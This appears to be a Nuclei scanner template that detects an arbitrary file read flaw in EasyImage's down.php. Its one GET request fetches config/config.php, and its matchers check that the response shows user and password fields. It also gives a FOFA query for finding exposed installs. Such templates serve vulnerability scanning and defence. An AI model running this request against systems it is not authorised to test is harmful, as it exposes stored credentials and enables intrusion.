id: easyimage-downphp-lfi

info:
  name: EasyImage down.php - Arbitrary File Read
  author: DhiyaneshDk
  severity: high
  description: down.php file in EasyImage is vulnerable to arbitrary file read.
  reference:
    - https://github.com/qingchenhh/qc_poc/blob/main/Goby/EasyImage_down.php_file_read.go
  metadata:
    verified: true
    max-request: 1
    fofa-query: app="EasyImage-简单图床"
  tags: easyimage,lfi,exposure,config,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/application/down.php?dw=config/config.php"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "'user'=>"
          - "'password'=>"
          - "EasyImage"
        condition: and

      - type: word
        part: header
        words:
          - 'text/html'

      - type: status
        status:
          - 200
# digest: 4a0a0047304502201a577495110cf318319453881479a2ba574f16bd77f90561c1f419065df3e8e102210088235f54def9959450fe06db133ffa541d33a7a3cb24f34f69781feb496cfb82:922c64590222798bb761d5b6d8e72950